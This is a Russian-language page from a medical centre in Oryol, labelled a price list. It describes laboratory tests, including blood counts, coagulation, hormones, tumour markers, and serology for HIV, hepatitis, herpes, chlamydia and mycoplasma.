Прайс лист

Тревожит свое здоровье или здоровье близких? Хотите получить консультацию специалиста, сделать анализы, УЗИ, пройти обследование или обратиться в медицинский центр для лечения заболеваний? Для Вас в Орле вот уже более 10 лет работает Реабилитационно-технический центр «Здоровье».

Аланинаминотрансфераза (АЛТ) Аспартатаминотрансфераза (АСТ) Креатинин в сыворотке (с определением СКФ) Мочевина в сыворотке Белок общий в сыворотке Билирубин общий Холестерол общий Глюкоза в плазме.
Характеристика соотношения и физиологических свойств различных видов клеточных элементов крови: эритроцитов, лейкоцитов, тромбоцитов. В клиническом анализе крови определяются такие показатели как гематокрит (отношение объма эритроцитов к общему объему крови), концентрация гемоглобина, количество тромбоцитов, тромбокрит. Исследуются также физиологические свойства эритроцитов: их форма, цвет, наличие включений, концентрация гемоглобина в одном эритроците, показатели анизоцитоза (различия эритроцитов по объему).
Характеристика соотношения и физиологических свойств различных видов клеточных элементов крови. Общий анализ крови включает в себя определение общего количества эритроцитов, лейкоцитов и тромбоцитов, концентрации гемоглобина, расчет величины гематокрита (отношение объема эритроцитов к общему объему крови) и эритроцитарных индексов (средний объем эритроцита, среднее содержание гемоглобина в эритроците, средняя концентрация гемоглобина в эритроците).
"Молодые" эритроциты, сохранившие в своем составе остатки ядра и эдоплазматического ретикулума. Спустя двое суток после выхода в периферическую кровь из костного мозга ретикулоцит становится зрелым эритроцитом. Количество ретикулоцитов в крови характеризует активность эритропоэза (процесса образования эритроцитов) в красном костном мозге.
D-димер является продуктом расщепления фибрина - одного из компонентов тромба. Относится к показателям, характеризующим фибринолитическую (плазминовую) систему крови. Фибринолиз – это процесс расщепления фибринового сгустка. Уровень D-димера в крови имеет диагностическую значимость при таких заболеваниях как тромбоз глубоких вен, тромбэмболия легочной артерии, наследственных коагулопатиях. Данный показатель важен при проведении тромболитической терапии, патологии беременности. Повышение уровня D-димера отмечается в норме у лиц старше 80 лет.
АЧТВ (АПТВ) - активированное частичное (парциальное) тромбпластиновое время – время образования сгустка в цитратной бестромбоцитной плазме после добавления суспензии синтетических фосфолипидов с микрокристаллическим кремнием и CaCl2. Анализ имитирует процесс свертывания крови по внутреннему пути, позволяя оценить функциональную состоятельность факторов свертывания, участвующих в этом процессе (XII, XI, IX, VIII, X, V, II). Диагностическая значимость данного теста состоит в выявлении, в комплексе с другими исследованиями, таких патологических состояний как гемофилии А и В, белково-синтетической недостаточности печени, синдрома диссеминированного внутрисосудистого свертывания, системной красной волчанки, авитаминозе К, антифосфолипидного синдрома. Используется также для контроля терапии гепарином.
Фермент, содержащийся во всех клетках организма, прежде всего в ткани печени, меньший уровень активности отмечается в клетках сердца, скелетной мускулатуры, почек. Относится к классу трансаминаз, осуществляет важную функцию переноса аминогрупп с аминокислот на кетокислоты. Уровень АЛТ имеет серьезное диагностическое значение при заболеваниях печени, меньшее - при инфаркте миокарда, так как активность АЛТ в кардиомиоцитах несколько меньше, чем других трансаминаз. В результате патологических процессов АЛТ попадает из внутриклеточной жидкости в кровь, и активность фермента там может увеличиваться в несколько раз, иногда в десятки, в зависимости от выраженности цитолиза (процесса разрушения клеток). Уровень активности фермента при гепатитах указывает на активность процесса в печени, при инфаркте миокарда является косвенным показателем обширности поражения сердечной мышцы.
Мозговой натрийуретический пропептид (NT-proBNP) является предшественником натрийуретического пептида типа В. Основной пул этого пропептида находится в кардиомиоцитах. Его основная функция заключается в усилении натрийуреза. Усиление секреции и высвобождения BNP происходит при дилятации камер сердца (как правило левого желудочка при нарушении его насосной функции). Данное исследование обладает высокой диагностической точностью и прогностической значимостью в отношении сердечной недостаточности. Кроме того определение NT-proBNP используется для прогнозирования развития осложнений после перенесенного острого коронарного синдрома, оценки риска развития сердечной недостаточности у больных сахарным диабетом и гипертонической болезнью, в качестве скринингового исследования - в целях диагностики бессимптомной хронической сердечной недостаточности. Показания к назначению: 1. Скрининговое исследование у больных с высокой вероятностью наличия сердечной недостаточности; 2. Диагностика ранних стадий сердечной недостаточности; 3. Диагностика изолированной диастолической сердечной недостаточности; 4. Контроль эффективности проводимой терапии у больных с сердечной недостаточностью; 5. Оценка прогноза у больных с сердечной недостаточностью; 6. Диагностика риска развития сердечно-сосудистых осложнений у больных с острым коронарным синдромом, сахарным диабетом и у онкологических больных. С этим тестом обычно назначают: 06-050 - С-реактивный белок, количественно 06-016 - Гомоцистеин 02-014 - Общий анализ крови 02-025 - Лейкоцитарная формула 06-079 - Миоглобин
17-оксипрогестерон является промежуточным веществом в пути синтеза стероидных гормонов коры надпочечников. Образуется из прогестерона под действием фермента 17a-гидроксилазы. 17-ОПГ является предшественником деоксикортизола, а также андростендиона, в которые он метаболизируется под действием других специфических ферментов. Исследование применяется для диагностики и мониторинга лечения гиперплазии коры надпочечников, в том числе у больных, принимающих глюкокортикоиды.
Тест позволяет количественно определить уровень секреции специфического маркера костной резорбции – дезоксипиридинолин . Дезоксипиридинолин является веществом, обеспечивающим скрепление между собой нитей белка-коллагена, являющегося одним из основных структурных компонентов костной ткани. В норме в костной ткани постоянно происходят процессы разрушения старого и формирования нового костного матрикса. При преобладании процессов разрушения (резорбции) костной ткани над ее восстановлением, в крови увеличивается содержание специфических маркеров резорбции, в том числе дезоксипиридолина, большая часть которого выводится из организма почками. В сочетании с другими методами исследования анализ применяют для диагностики и мониторинга лечения остеопороза и других заболеваний, связанных с повышенным разрушением костной ткани.
Остеокальцин - один из основных неколлагеновых белков костной ткани, синтезируемый остеобластами. В крови интактный белок разрушается протеазами, поэтому в диагностических целях используется определение его более стабильного N-Mid-фрагмента(N-остеокальцина). Маркер достаточно точно отражает состояние синтетических процессов в костной ткани, что используется для диагностики и мониторинга лечения остеопороза. Витамин D стимулирует синтез остеокальцина, высокие концентрации паратиреоидного гормона снижают активность синтетических процессов в остеобластах и концентрацию N-остеокальцина в крови.
Полипептидный гормон, продуцируемый передней долей гипофиза под влиянием тропных факторов гипоталамуса. Основные функции: стимуляция работы коры надпочечников и продукции ими кортикостероидных гормонов (в частности кортизола). Под влиянием гормона происходит высвобождение инсулина бета-клетками поджелудочной железы, за счет его меланоцитостимулирующего действия усиливается пигментация кожи. Гормон имеет суточный ритм секреции с максимальной концентрацией в крови утром (6-8 часов утра) и минимальным содержанием вечером (22 часа). При стрессовых ситуациях, травмах, физической нагрузке, беременности концентрация в крови возрастает.
В норме практически все белки плазмы крови не проходят через мембрану почечных клубочков и определяются в моче в следовых количествах. При нарушении фильтрационной функции почек белок начинает проходить через мембрану и определятся в моче в диагностически значимых концентрациях. Высокое содержание белка в моче является неспецифическим признаком заболеваний почек, также может быть обусловлено инфекционно-воспалительными процессами в мочевыводящих путях, распадом тканей. При некоторых физиологических состояниях может наблюдаться повышение уровня белка в моче. К таким состояниям относят «маршевую» протеинурию (появление белка в моче после длительной ходьбы), ортостатическую протеинурию (после резкого изменения положения тела), также белок в моче может появляться после сильных физических и эмоциональных нагрузок . При этом количество белка, выделяемое с мочой за сутки остается в пределах нормальных значений.
Альбумин плазмы крови, экскретирующийся почками с мочой при патологии. В норме почечные клубочки не способны пропускать альбумин сыворотки крови, что может наблюдаться при поражении их при таких патологических состояниях, как диабетическая нефропатия, хронический гломерулонефрит, поражение почек при гипертонической болезни.
Определение продуктов метаболизма андрогенов, образующихся в коре надпочечников и в половых железах. Анализ включает в себя количественное определение следующих показателей: этиохоланолол, андростендион, дегидроэпиандростерон, андростерон, эпиандростерон. Показания к назначению: оценка секреции андрогенов надпочечниками, диагностика адреногенитального синдрома, диагностика карциномы надпочечников, патология беременности.
Результаты исследования позволяют дать оценку общей функциональной активности надпочечников. Показания к назначению: оценка секреции андрогенов надпочечниками, диагностика адреногенитального синдрома, диагностика карциномы надпочечников, патология беременности.
Исследование, целью которого является оценка физических, химических свойств кала, а также описание его микроскопического состава. Исследование проводится для выявления различных нарушений пищеварения и выяснения уровня поражения желудочно-кишечного тракта. При анализе результатов копрограммы возможно предположить наличие таких патологических состояний как нарушение ферментативной функции кишечника, нарушение ферментативной функции поджелудочной железы, наличие ускоренной эвакуации пищевого комка из желудка, нарушение кислотообразующей и ферментативной функции желудка, нарушение всасывания в различных отделах желудочно-кишечного тракта, нарушение функции печени, наличие воспалительных процессов в желудочно-кишечном тракте, дисбактериоз,неспецифический язвенный колит.
Микроскопическое исследование кала, целью которого является выявление цист простейших. Простейшие - это самостоятельная группа одноклеточных организмов. К ним относятся амебы (вызывающие амебную дизентерию, способствующие дисбактериозу), лямблии (возбудители лямблиоза), балантидии, лейшмании и др.
8-ОН-дезоксигуанозин (8-OHdG) – модифицированный нуклеозид, образующийся в молекуле ДНК в результате воздействия активных форм кислорода и других повреждающих факторов. 8-OHdG обладает выраженными мутагенными свойствами и в настоящее время рассматривается в качестве клинико-лабораторного маркера оксидативного стресса и канцерогенеза. Данное исследование используется для: • оценки оксидативного стресса в организме; • диагностики, оценки прогноза и контроля лечения широкого спектра онкологических и инфекционно-воспалительных заболеваний.
Углеводный антиген, представляющий собой гликопротеин. В норме определяется в клетках брюшины, плевры, эпителия маточных труб и шейки матки. Уровень данного онкомаркера значительно повышается при раке яичников, особенно при наличии метастазов, и на поздних стадиях опухолевого процесса. Кроме того, уровень СА 125 может быть повышен при доброкачественных и воспалительных заболеваниях плевры, брюшины, тканей эндометрия, в первый триместр беременности. Диагностическая ценность определения данного антигена возрастает при одновременном определении других специфических онкомаркеров. Исследование используется для мониторинга рака яичников у лиц подвергшихся лучевой и химиотерапии с целью выявления рецидивов заболевания. Для этих целей рекомендуется исследовать уровень онкомаркера с интервалом 2-3 месяца, оценивая результаты в динамике.
Углеводный антиген, представляющий собой муциноподобный гликопротеин. Уровень данного антигена значительно повышается при раке молочной железы, особенно при наличии метастазов и на поздних стадиях развития опухолевого процесса. При рецидивах рост концентрации СА 15-3 может опережать появление клинически выраженных симптомов заболевания. В целях выявления рецидивов опухоли у лиц, подвергшихся лучевой и химиотерапии рекомендуется исследовать уровень онкомаркера в динамике с интервалом в 1-2 месяца.
Представляет собой углеводный антиген, продуцирующийся в норме клетками эпителия желудочно-кишечного тракта. Повышение уровня СА 19-9 отмечается при раке поджелудочной железы. Маркер имеет невысокую специфичность по причине повышения его уровня даже при незначительном холестазе, воспалительных заболеваниях желудочно-кишечного тракта. Тест используется для диагностики и мониторинга лечения рака поджелудочной железы, ранней диагностики метастазирования опухоли .
Повышение концентрации онкомаркера характерно для рака желудка, яичников, легких, толстого кишечника. Не встречается в тканях взрослого организма и поэтому обладает высокой опухолевой специфичностью. Наибольшая специфичность теста наблюдается в диагностике карциномы желудка. Степень повышения напрямую зависит от стадии заболевания. Определение СА 72-4 совместно с СА-125 II используется в дифференциальной диагностике доброкачественных и злокачественных новообразований яичников. Основными показаниями к назначению исследования является мониторинг терапии немелкоклеточного рака легкого, карциномы желудка, рака яичников.
Данный онкомаркер используется для оценки результатов терапии рака поджелудочной железы, толстой и прямой кишки, а также мониторинга рецидивов новообразований этих органов. Обладая большой чувствительностью, специфичность показателя очень низкая, что не позволяет использовать анализ для диагностики онкологических заболеваний. Показания для назначения анализов: 1. Мониторинг и контроль лечения рака поджелудочной железы 2. Мониторинг и контроль лечения рака толстой кишки 3. Мониторинг и контроль лечения рака прямой кишки Сопутствующие анализы: - [02-014] Общий анализ крови - [02-025] Лейкоцитарная формула - [02-007] Скорость оседания эритроцитов (СОЭ) - [06-045] Фосфатаза щелочная общая - [08-006] СА 19-9 - [08-007] СА- 72-4 - [08-042] Раковый эмбриональный антиген (РЭА)
Для большинства опухолей человека характерна продукция изомерной формы пируваткиназы - TM2-пируваткиназа, которая является метаболическим онкомаркером. При локализации опухоли в желудочно-кишечном тракте наиболее рано и в достаточном количестве она обнаруживается в кале. Определение TM2-пируваткиназы указывает на переключение клеток с нормального типа метаболизма на опухолевой. Онкомаркер дает возможность ранней диагностики опухолей желудочно-кишечного тракта с большой чувствительностью и специфичностью. Показания к назначению: 1. Ранняя диагностика рака толстой и прямой кишки, пищевода, желудка. 2. Диагностика метастазов или рецидивов опухолей желудочно – кишечного тракта. С этим тестом обычно назначают: [02-014] Общий анализ крови [02-025] Лейкоцитарная формула [08-042] Раковый эмбриональный антиген (РЭА) [08-006] CA 19-9 [08-005] CA 72-4
Муциноподобный рако-ассоциированный антиген представляет собой сывороточный муцин-гликопротеид, присутствующий в клетках молочной железы. Концентрация МСА в сыворотке крови увеличивается при раке молочной железы и в 20% при доброкачественных заболеваниях молочной железы. МСА применяется для мониторинга течения карциномы молочной железы (эффективности оперативного, химио- и лучевого лечения). Показания к назначению: 1. Диагностика рака молочной железы; 2. Диагностика отдаленных метастазов рака молочной железы; 3. Мониторинг больных раком молочной железы. С этим тестом обычно назначают: [02-014] Общий анализ крови [02-025] Лейкоцитарная формула [08-005] CA 15-3 [08-042] Раковый эмбриональный антиген (РЭА)
Вирус иммунодефицита человека (ВИЧ) поражает иммунную систему, в результате чего организм становится высоковосприимчивым к различным инфекциям, которые, прогрессируя, приводят к гибели больного человека. Возбудитель относится к семейству РНК-содержащих ретровирусов. Иммуноферментный анализ (ИФА) является основным, наиболее широко применяемым методом определения антител к ВИЧ. При получении позитивного результата исследование биоматериала производится повторно дважды, при получении хотя бы одного позитивного результата диагностика осуществляется более специфичным методом иммунного блотинга. Современные тест системы 4-го поколения(используются в лабораторной службе Хеликс) одновременно определяют антитела и антиген p24 вируса иммунодефицита человека, что позволяет уже через 2-4 недели от момента инфицирования определять наличие возбудителя в организме. Согласно международным стандартам для подтверждения или опровержения факта инфицирования анализ должен быть сдан дважды с интервалом в 3–6 месяцев. В случае анонимной сдачи данного обследования не требуется указывать паспортные данные (ФИО, адрес постоянного места жительства, гражданство).
Выявление суммарных антител является наиболее чувствительным и специфичным методом диагностики сифилиса. Определение в крови иммуноглобулинов класса G совместно с IgM применяется для скринингового обследования, позволяет выявлять заболевание, протекающее в любой форме. Метод несколько менее чувствителен при нейросифилисе и его латентных формах. В диагностических титрах антитела выявляются в крови со второй недели заболевания. В процессе лечения титр антител несколько снижается, может сохраняться на достаточно высоком уровне пожизненно.
Выявление суммарных антител является наиболее чувствительным и специфичным методом диагностики сифилиса. Определение в крови иммуноглобулинов класса G совместно с IgM применяется для скринингового обследования, позволяет выявлять заболевание, протекающее в любой форме. Метод несколько менее чувствителен при нейросифилисе и его латентных формах. В диагностических титрах антитела выявляются в крови со второй недели заболевания. В процессе лечения, титр антител несколько снижается, может сохраняться на достаточно высоком уровне пожизненно.
Выявление специфических антител является наиболее чувствительным и специфичным методом диагностики сифилиса. Определение в крови иммуноглобулинов класса G используется совместно с определением IgM. В диагностических титрах данные антитела появляются в крови в острый период заболевания. В процессе лечения, титр антител несколько снижается, но может сохраняться на достаточно высоком уровне в течение многих лет после перенесенного заболевания.
Выявление специфических антител является наиболее чувствительным и специфичным методом диагностики сифилиса. Определение в крови иммуноглобулинов класса M используется для диагностики первичного, вторичного и врожденного сифилиса. В диагностических титрах данные антитела появляются в крови со 2-й недели заболевания. В процессе лечения, при его эффективности, происходит постепенное снижение титров IgM, что может быть использовано для контроля проводимой терапии.
За 5-7 дней до появления симптомов вирусного гепатита А в сыворотке крови у всех больных определяются anti-HAV IgM и сохраняются около 2 месяцев. В период ранней реконвалесценции титр anti-HAV IgM несколько снижается, а через несколько месяцев данные антитела из крови полностью элиминируются. Тест используется для ранней диагностики вирусного гепатита А.
Белок вирусной оболочки представлен поверхностным антигеном (HBsAg), который раньше называли «австралийским». Обнаружение поверхностного антигена вирусного гепатита В в сыворотке указывает на наличие острого или хронического заболевания. В острый период HBsAg выявляют в сыворотке крови в последние 1-2 недели инкубационного периода и в первые 2-3 недели периода клинических проявлений, полностью исчезает в течение нескольких месяцев. Время персистирования антигена в крови зависит от тяжести и формы заболевания. Максимальное время обнаружения составляет около 6 месяцев от момента инфицирования.
Антитела класса Ig M к HBcAg вируса гепатита В обнаруживаются в высоких титрах уже в начале острой фазы заболевания. Их выявление является убедительным критерием для диагностики гепатита В, особенно при отрицательных результатах индикации HBsAg. Данные антитела присутствуют в крови больного несколько месяцев, а затем исчезают, что является благоприятным прогностическим признаком выздоровления организма. Аnti-HBc в сыворотке крови в норме отсутствуют.
Антитела к ядерному антигену вирусного гепатита В появляются первыми среди других антител, связанных с вирусным гепатитом В, в сыворотке крови больных острым и хроническим гепатитом В, а также у реконвалесцентов. Общие антитела к ядерному антигену состоят из IgM и IgG. Определение их можно использовать только для ретроспективной диагностики вирусного гепатита В, так как у 5-10% больных исследования на HBsAg дают отрицательный результат. Для того чтобы установить, в какой стадии развития находится заболевание, необходимо дополнительное определение антител IgM.
Антитела к поверхностному антигену вирусного гепатита В - anti-HBs – обнаруживают в конце острого периода или (чаще всего) через 3 месяца от начала заболевания, иногда позже (до года), они сохраняются в среднем 5 лет. Определение anti-HBs имеет большое значение для оценки течения вирусного гепатита В и его исходов, так как характеризует иммунный ответ конкретного больного. Выявление антител к поверхностному антигену играет важную роль в определении контингента для вакцинации против вирусного гепатита В.
Данный антиген выявляется в ранние сроки заболевания совместно с HBsAg. HBeAg называют также «антиген ифекционности». Он представляет собой один из белков, содержащихся в ядре вирусной частицы, и обнаруживается в свободной или связанной форме в крови больного. Выявляется в период максимальной активности вируса и служит своеобразным маркером максимальной «заразности» больного человека. Чаще всего HBeAg исчезает в конце желтушного периода, но может циркулировать в крови достаточно длительное время, что является признаком высокой вероятности хронизации гепатита.
Появление anti-HBe антител обычно указывает на интенсивную элиминацию из организма вируса гепатита В. Эти антитела появляются в острый период и сохраняются до 5 лет после перенесенной инфекции. При хроническом персистирующем гепатите anti-HBe обнаруживают в крови больного вместе с HBsAg. Сероконверсия, то есть переход HBeAg в anti-HBe при хроническом активном гепатите, чаще прогностически благоприятна.
В первые две недели болезни в сыворотке крови у инфицированных вирусным гепатитом С появляются антитела класса IgM (и сохраняются около 2 месяцев), в период ранней реконвалесценции в крови определяются антитела классов IgM и IgG, а в период поздней реконвалесценции - только IgG. Определение суммарных антител к различным антигенам вируса гепатита С является стандартом диагностики данного заболевания и используется в качестве скринингового метода.
В первые две недели болезни в сыворотке крови у инфицированных вирусным гепатитом С появляются антитела класса IgM (и сохраняются около 2 месяцев), в период ранней реконвалесценции в крови определяются антитела классов IgM и IgG, а в период поздней реконвалесценции - только IgG. Определение суммарных антител к различным антигенам вируса гепатита С является стандартом диагностики данного заболевания и используется в качестве скринингового метода.
Суммарные антитела к вирусу гепатита D определяются в крови начиная со 2-й недели заболевания, могут сохраняться в высоких титрах до нескольких месяцев. У переболевших лиц выявляются в низких концентрациях пожизненно. Вирусный гепатит D может инфицировать человека только совместно с HBV, исходя из этого, исследование рекомендуется выполнять совместно с выявлением маркеров вирусного гепатита В.
Антитела класса IgM к вирусу гепатита Е появляются в крови через 3-4 недели после инфицирования, определяются в диагностически значимых титрах до полугода. Исследование используется для лабораторного подтверждения диагноза вирусного гепатита E.
Паразитарное заболевание, для которого, в зависимости от состояния иммунной системы, характерно разнообразие клинических проявлений и значительная вариабельность течения: от бессимптомного носительства до тяжелых, летальных форм болезни. Токсоплазмоз входит в группу TORCH-инфекций (сокращенно от - Toxoplasma, Rubella, Cytomegalovirus, Herpes), считающихся потенциально опасными для развития ребенка. IgG появляются в крови в период реконвалесценции и сохраняются в течение 10 лет после заболевания. Анализ применяется для оценки динамики течения заболевания, а также напряженности иммунитета. Для диагностики острой инфекции рекомендуется совместное определение IgG и IgM. Возбудитель заболевания Toxoplasma gondii относится к простейшим Sporozoa род Toxoplasma.
Исследование для выявления внутриклеточного паразита Toxoplasma gondii – возбудителя токсоплазмоза.
Паразитарное заболевание, для которого, в зависимости от состояния иммунной системы, характерно разнообразие клинических проявлений и значительная вариабельность течения: от бессимптомного носительства до тяжелых, летальных форм болезни. Токсоплазмоз входит в группу TORCH-инфекций (сокращенно от - Toxoplasma, Rubella, Cytomegalovirus, Herpes), считающихся потенциально опасными для развития ребенка. Возбудитель заболевания Toxoplasma gondii относится к простейшим Sporozoa род Toxoplasma. IgM появляются в крови на первой неделе заболевания, титр их нарастает в течение 2-3 недель, затем прогрессивно снижается вплоть до полного исчезновения через 2-3 месяца. Обнаружение данных антител в крови новорожденных свидетельствует о врожденной инфекции.
Антитела класса IgG к вирусу краснухи начинают вырабатываться через 3 - 4 недели с момента инфицирования и выявляются после окончания острого заболевания пожизненно, обеспечивая защиту от повторной инфекции.
Антитела класса IgМ могут быть обнаружены уже через 1 - 3 дня после появления клинических симптомов, однако, концентрация их в крови быстро снижается, достигая ко 2 месяцу от начала заболевания незначительных величин, что может говорить о недавней инфекции.
Исследование является количественным. Антитела класса IgG к цитомегаловирусу появляются через 2-4 недели после инфицирования, их уровень в крови сохраняется до 10 лет и может служить признаком перенесенного заболевания. Данный тест определяет количество антител в крови и используется для определения риска возникновения осложнений во время беременности при её планировании. Четырехкратное увеличение титра антител класса IgG по сравнению с базовым уровнем является признаком возникновения острого инфекционного процесса.
При первичном инфицировании цитомегаловирусом наиболее важным диагностическим критерием активности инфекционного процесса является значительное повышение IgM. В период обострения хронической инфекции титр антител класса IgM повышается незначительно. Определение в крови высокого уровня антител класса IgM к цитомегаловирусу является верным признаком острой цитомегаловирусной инфекции. Показания для назначения анализов: 1. Скрининговое обследование до и во время беременности 2. Пренатальная диагностика внутриутробной инфекции 3. Больные ВИЧ-инфекцией или иммунодефицитом другой этиологии 4. Клиническая картина инфекционного мононуклеоза, но с отрицательными реакциями гетерогемаглютинации 5. Случайные половые контакты
Предранние антигены (IEA) появляются в ядре клетки уже через час после инфицирования и являются медиатором начала острого инфекционного процесса, вызывая выработку специфических антител. Тест предназначен для выявления иммуноглобулинов классов G или М к предраннему белку, может быть использован для диагностики первичной (до 14 суток с момента заражения ) и рецидивирующей цитомегаловирусной инфекции. Показания для назначения анализов: 1. Скрининговое обследование до и во время беременности 2. Пренатальная диагностика внутриутробной инфекции 3. Больные ВИЧ-инфекцией или иммунодефицитом другой этиологии 4. Клиническая картина инфекционного мононуклеоза, но с отрицательными реакциями гетерогемаглютинации 5. Случайные половые контакты
Определение в крови иммуноглобулинов класса IgM к вирусу простого герпеса (ВПГ) 1-го типа, используемое для диагностики и профилактики передачи герпетической инфекции.
Определение в крови иммуноглобулинов класса IgM к вирусу простого герпеса (ВПГ) 2 типа, используемое для диагностики и профилактики передачи герпетической инфекции.
Иммуноглобулины класса G к Herpes Simplex Virus обнаруживаются в крови у подавляющего большинства взрослого населения. По вышеприведенным причинам однократное определение титра антител IgG диагностически не значимо, рекомендуется оценивать результаты 2-3 исследований, выполненных с интервалом в 7-10 дней. При повторном инфицировании вирусом простого герпеса наблюдается нарастание титров антител данного класса, при отсутствии существенной динамики со стороны IgM. При первичном инфицировании – совместное нарастание титров IgG и IgM.
Иммуноглобулины класса М к Herpes Simplex Virus в крови появляются на 2-3 неделе после инфицирования, титр достигает максимальных значений на через 4-6 недель, прогрессивно снижается через 2-3 месяца после перенесенной инфекции. При реинфицировании Herpes Simplex Virus повторного нарастания тиров IgM не происходит. Для объективизации результатов лабораторной диагностики герпетической инфекции рекомендуется одновременное серологическое исследование крови на IgM и IgG к возбудителю. При получении положительного результат исследования указывается КП.
Определение антител класса IgG используют для оценки иммунитета к инфекции. Анти- IgG появляются в период реконвалесценции и определяются в крови у лиц, перенесших заболевание в течение всей жизни, однако их присутствие не гарантирует наличие пожизненного иммунитета, поэтому при ослаблении защитных свойств организма возможна реактивация инфекции в форме опоясывающего лишая.
Определение антител класса IgМ используют для диагностики острой формы ветряной оспы. Анти- IgМ начинают регистрировать в первые 4-5 дней после появления высыпаний, они исчезают из крови через несколько недель, но иногда могут персистировать в крови довольно длительное время (6-12 месяцев) после перенесенного заболевания.
Антитела класса IgM к капсидному белку появляются в крови до появления клинических симптомов заболевания и сохраняются в высоких титрах до 6 недель, перестают определяться в диагностически значимых титрах через 2-6 месяцев. Данное исследование используется для ранней диагностики инфекционного мононуклеоза.
Антитела этого типа появляются через 2-4 недели после клинических проявлений, и сохраняются в крови около года. Характерным признаком первично протекающего инфекционного мононуклеоза является наличие EA IgG при отсутствии IgG к ядерному антигену вируса (EBNA). Высокий уровень данного класса антител выявляется при хроническом течении Эпштейн-Барр вирусной инфекции, а также при лимфоме Беркита.
Антитела класса IgG к ядерному антигену вируса(EBNA) определяются через 3-12 месяцев от начала заболевания. Антитела данного класса в небольших титрах могут определяться в течение всей жизни, являются маркером перенесенной инфекции, при условии отсутствия анти-VCA IgM и анти-ЕА IgG.
Антитела класса IgG к капсидному белку вируса инфекционного мононуклеоза (вирус Эпштейн-Барр, Epstein Barr Virus, EBV) – это специфические противовирусные белки-иммуноглобулины, вырабатываемые иммунной системой в ответ на инфицирование вирусом Эпштейн-Барр и свидетельствующие о наличии текущей или перенесенной инфекции. Исследование используется для подтверждения диагноза текущего или перенесенного инфекционного мононуклеоза; дифференциальной диагностики при заболеваниях со сходными симптомами (цитомегаловирусная инфекция, ВИЧ-инфекция и др.) В острой стадии инфекции первыми в крови выявляются IgM к капсидному белку (VCA) вируса, которые достигают максимальной концентрации в плазме крови на 3-й неделе заболевания и исчезают к 4-6 неделе заболевания. Позже появляются IgG к капсидному белку (VCA) вируса, которые достигают максимума на 2-4 неделе заболевания, затем немного снижаются и сохраняются в течение всей жизни. При реактивации инфекции титры этих антител, как правило, растут.
Инфицированность вирусом герпеса 6 типа взрослого населения составляет более 90%. Первичное инфицирование с клиническими проявлениями происходит в детском возрасте, к двум годам жизни практически все дети сталкиваются с данной инфекцией. У взрослых заболевание, обусловленное HHV-6, может возникать лишь в случае серьезного угнетения иммунной системы. У детей в возрасте до 2-х лет обнаружение IgG к возбудителю, при наличии клинических проявлений, может являться лабораторным подтверждением HHV-6 ассоциированной инфекции. Внимание, в настоящее время исследование выполняется качественным методом. Результаты выдаются в виде: "положительный" или "отрицательный".
Данный класс антител отвечает за местный иммунный ответ на внедрение возбудителя в клетки слизистых оболочек. IgA появляются через 12-15 дней после заражения. Тест служит для диагностики первичной хламидийной инфекции, обострении хронического течении заболевания, а также при реинфекции; полезен для оценки эффективности лечения.
Антитела данного класса вырабатываются на 15-20 день после инфицирования. Концентрация их в крови остается на высоком уровне в течение всего заболевания и достаточно продолжительное время после излечения, однако стойкого иммунитета к возбудителю они не обеспечивают. По результатам анализа можно судить о наличии острого инфекционного процесса, сделать вывод о перенесенном в прошлом заболевании, а также диагностировать рецидив хронической формы инфекции.
Антитела класса IgM к хламидиям появляются первыми в ответ на внедрение возбудителя в организм. Чаще всего определить их в достаточном для постановки диагноза количестве можно уже на 5 день после инфицирования. Особенностью данного класса антител является их полное исчезновение через 2-3 месяца после инфицирования вне зависимости от того была ли проведена специфическая терапия или нет. В случае хронизации процесса, при последующих рецидивах инфекции, либо при реинфицировании, данный класс антител в крови не выявляется. Тест служит для ранней диагностики первичной хламидийной инфекции.
IgA к хламидиям обеспечивают местный иммунный ответ на слизистых оболочках. Начинают определяться через 3-4 недели (иногда до 8-ми) после инфицирования. Титр антител нарастает в процессе развития заболевания, снижаясь через несколько недель после перенесенного заболевания. При обострении хронической инфекции, либо реинфицировании происходит новый подъем уровня антител.
Антитела класса IgM к Chlamydia pneumoniae выявляются в достаточно небольших количествах через 2-3 недели после внедрения возбудителя в организм. Данный класс антител определяется в крови инфицированных лиц достаточно непродолжительное время – в среднем 2-3 месяца, прогрессивно снижаясь до диагностически незначимых титров. Выявление IgM указывает на наличие острой или недавно перенесенной инфекции. Показания для назначения анализов: 1. Пневмонии у детей или у лиц со сниженным иммунитетом 2. Острые инфекции верхних дыхательных путей
Данная группа антител появляется через 3-5 недель после заражения. Высокие титры IgG наблюдаются на протяжении всего заболевания, в небольших количествах могут сохраняться в крови на протяжении многих месяцев после излечения, иногда в течение всей жизни. При реактивации хронической инфекции или реинфицировании титр антител снова возрастает. Диагностически значимым является нарастание титра в 4 раза по сравнению с базовым уровнем. Тест используется для диагностики острой хламидийной инфекции, обострения хронического заболевания. В силу особенностей течения инфекции и распространенности респираторного хламидиоза данные антитела в низких титрах могут выявляться у 50-70% клинически здоровых взрослых лиц.
Иммунный ответ при проникновении возбудителя характеризуется быстрым нарастанием титра иммуноглобулинов класса A. Продукция IgA начинается с первой недели от проникновения возбудителя. Уровень их в крови остается повышенным даже при бессимптомном течении заболевания. Данные антитела обеспечивают гуморальную защиту слизистых оболочек организма от внедрения внутриклеточных паразитов, их титр может отличаться в зависимости от массивности обсеменения. Определение данных антител используется для оценки эффективности проведенного лечения.
Выявление антител класса IgG в крови свидетельствует о имеющейся, либо перенесенной в прошлом инфекции. Данный тип антител сохраняется в диагностически значимых титрах многие годы даже после элиминации микоплазм из организма.
Положительный результат исследования на антитела класса IgA может указывать на вероятность текущей инфекции. Продукция этих антител начинается с 7-14 дня от начала заболевания. Антитела класса иммуноглобулинов А обеспечивают гуморальную защиту слизистых оболочек организма от внедрения внутриклеточных паразитов, а поскольку для M. hominis характерно поражение слизистых, то применение в лабораторной практике тестов на определение анти- IgA к М. hominis совместно с выявлением анти-IgG может обеспечить более эффективную серодиагностику заболевания. Однако, метод имеет меньшее значение, чем ПЦР диагностика, так как из-за внутриклеточной локализации M. hominis иммунный ответ организма против этих микроорганизмов зачастую выражен слабо.
IgG к Mycoplasma hominis являются показателем перенесенной или текущей инфекции. Появляются минимум через 14-20 дней от момента инфицирования, после иммуноглобулинов класса M и сохраняются продолжительное время. Положительный результат исследования на антитела класса IgG служит одним из маркеров инфекции, уровень данных антител зависит от выраженности патологического процесса на уровне слизистой оболочки, количества микроорганизма.
